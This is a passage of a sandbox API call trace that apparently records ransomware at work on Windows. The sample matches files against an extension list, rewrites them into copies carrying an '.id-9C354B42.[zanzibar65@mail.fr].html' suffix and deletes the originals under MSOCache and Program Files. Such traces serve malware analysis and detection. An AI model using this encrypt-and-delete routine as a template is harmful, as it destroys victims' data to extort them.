users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.774] lstrlenW (lpString=".doc") returned 4 [0035.774] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString=".docx") returned 5 [0035.774] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.774] lstrlenW (lpString=".pdf") returned 4 [0035.774] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString=".xls") returned 4 [0035.774] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString=".xlsx") returned 5 [0035.774] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.774] lstrlenW (lpString=".ppt") returned 4 [0035.774] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.774] lstrlenW (lpString=".zip") returned 4 [0035.774] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.774] lstrlenW (lpString=".rar") returned 4 [0035.774] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString=".bz2") returned 4 [0035.774] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString=".7z") returned 3 [0035.774] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.774] lstrlenW (lpString=".dbf") returned 4 [0035.774] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.774] lstrlenW (lpString=".1cd") returned 4 [0035.774] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.775] lstrlenW (lpString=".jpg") returned 4 [0035.775] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.775] lstrlenW (lpString=".doc") returned 4 [0035.775] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString=".docx") returned 5 [0035.775] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.775] lstrlenW (lpString=".pdf") returned 4 [0035.775] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString=".xls") returned 4 [0035.775] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString=".xlsx") returned 5 [0035.775] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.775] lstrlenW (lpString=".ppt") returned 4 [0035.775] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.775] lstrlenW (lpString=".zip") returned 4 [0035.775] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.775] lstrlenW (lpString=".rar") returned 4 [0035.775] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString=".bz2") returned 4 [0035.775] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString=".7z") returned 3 [0035.775] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.775] lstrlenW (lpString=".dbf") returned 4 [0035.775] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.775] lstrlenW (lpString=".1cd") returned 4 [0035.775] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.776] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.776] lstrlenW (lpString=".jpg") returned 4 [0035.776] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.776] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.776] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0035.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.777] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6421) returned 1 [0035.777] CloseHandle (hObject=0x198) returned 1 [0035.777] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0035.777] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.777] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.777] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.777] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.777] GetLastError () returned 0x0 [0035.777] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1915, lpOverlapped=0x0) returned 1 [0035.779] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1920, lpOverlapped=0x0) returned 1 [0035.780] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0035.780] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.780] SetEndOfFile (hFile=0x178) returned 1 [0035.780] CloseHandle (hObject=0x178) returned 1 [0035.781] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.781] SetEndOfFile (hFile=0x198) returned 1 [0035.782] CloseHandle (hObject=0x198) returned 1 [0035.782] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.782] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0035.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.782] lstrlenW (lpString=".doc") returned 4 [0035.782] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.782] lstrlenW (lpString=".docx") returned 5 [0035.782] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.782] lstrlenW (lpString=".pdf") returned 4 [0035.782] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.782] lstrlenW (lpString=".xls") returned 4 [0035.782] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.782] lstrlenW (lpString=".xlsx") returned 5 [0035.782] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.782] lstrlenW (lpString=".ppt") returned 4 [0035.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".zip") returned 4 [0035.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.783] lstrlenW (lpString=".rar") returned 4 [0035.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".bz2") returned 4 [0035.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".7z") returned 3 [0035.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".dbf") returned 4 [0035.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".1cd") returned 4 [0035.783] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".jpg") returned 4 [0035.783] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".doc") returned 4 [0035.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".docx") returned 5 [0035.783] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.783] lstrlenW (lpString=".pdf") returned 4 [0035.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".xls") returned 4 [0035.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".xlsx") returned 5 [0035.783] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.783] lstrlenW (lpString=".ppt") returned 4 [0035.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".zip") returned 4 [0035.784] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.784] lstrlenW (lpString=".rar") returned 4 [0035.784] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".bz2") returned 4 [0035.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString=".7z") returned 3 [0035.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".dbf") returned 4 [0035.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".1cd") returned 4 [0035.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.784] lstrlenW (lpString=".jpg") returned 4 [0035.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.784] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.784] lstrlenW (lpString="Setup.xml") returned 9 [0035.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.785] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=16683) returned 1 [0035.785] CloseHandle (hObject=0x198) returned 1 [0035.785] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.785] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.785] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.785] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.785] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0035.785] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0035.785] GetLastError () returned 0x0 [0035.785] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x412b, lpOverlapped=0x0) returned 1 [0036.058] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4130, lpOverlapped=0x0) returned 1 [0036.060] ReadFile (in: hFile=0x198, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0036.060] WriteFile (in: hFile=0x178, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.060] SetEndOfFile (hFile=0x178) returned 1 [0036.060] CloseHandle (hObject=0x178) returned 1 [0036.061] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0036.061] SetEndOfFile (hFile=0x198) returned 1 [0036.061] CloseHandle (hObject=0x198) returned 1 [0036.061] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0036.062] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.062] lstrlenW (lpString=".doc") returned 4 [0036.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.062] lstrlenW (lpString=".docx") returned 5 [0036.062] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.062] lstrlenW (lpString=".pdf") returned 4 [0036.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.062] lstrlenW (lpString=".xls") returned 4 [0036.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.062] lstrlenW (lpString=".xlsx") returned 5 [0036.062] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.062] lstrlenW (lpString=".ppt") returned 4 [0036.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.062] lstrlenW (lpString=".zip") returned 4 [0036.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.062] lstrlenW (lpString=".rar") returned 4 [0036.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.062] lstrlenW (lpString=".bz2") returned 4 [0036.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString=".7z") returned 3 [0036.063] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.063] lstrlenW (lpString=".dbf") returned 4 [0036.063] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.063] lstrlenW (lpString=".1cd") returned 4 [0036.063] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.063] lstrlenW (lpString=".jpg") returned 4 [0036.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.063] lstrlenW (lpString=".doc") returned 4 [0036.063] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString=".docx") returned 5 [0036.063] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.063] lstrlenW (lpString=".pdf") returned 4 [0036.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString=".xls") returned 4 [0036.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString=".xlsx") returned 5 [0036.063] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.063] lstrlenW (lpString=".ppt") returned 4 [0036.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.063] lstrlenW (lpString=".zip") returned 4 [0036.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.063] lstrlenW (lpString=".rar") returned 4 [0036.063] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.063] lstrlenW (lpString=".bz2") returned 4 [0036.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.064] lstrlenW (lpString=".7z") returned 3 [0036.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.064] lstrlenW (lpString=".dbf") returned 4 [0036.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.064] lstrlenW (lpString=".1cd") returned 4 [0036.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.064] lstrlenW (lpString=".jpg") returned 4 [0036.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.064] lstrcmpiW (lpString1=".EPS", lpString2=".html") returned -1 [0036.064] lstrlenW (lpString="MS.EPS") returned 6 [0036.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.516] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=15067) returned 1 [0036.516] CloseHandle (hObject=0x1ac) returned 1 [0036.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0036.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0036.516] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0036.516] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0036.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.517] GetLastError () returned 0x0 [0036.517] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x3adb, lpOverlapped=0x0) returned 1 [0036.518] WriteFile (in: hFile=0x1a0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0036.519] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0036.519] WriteFile (in: hFile=0x1a0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0036.519] SetEndOfFile (hFile=0x1a0) returned 1 [0036.520] CloseHandle (hObject=0x1a0) returned 1 [0036.520] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0036.520] SetEndOfFile (hFile=0x1ac) returned 1 [0036.521] CloseHandle (hObject=0x1ac) returned 1 [0036.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0036.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0036.522] lstrlenW 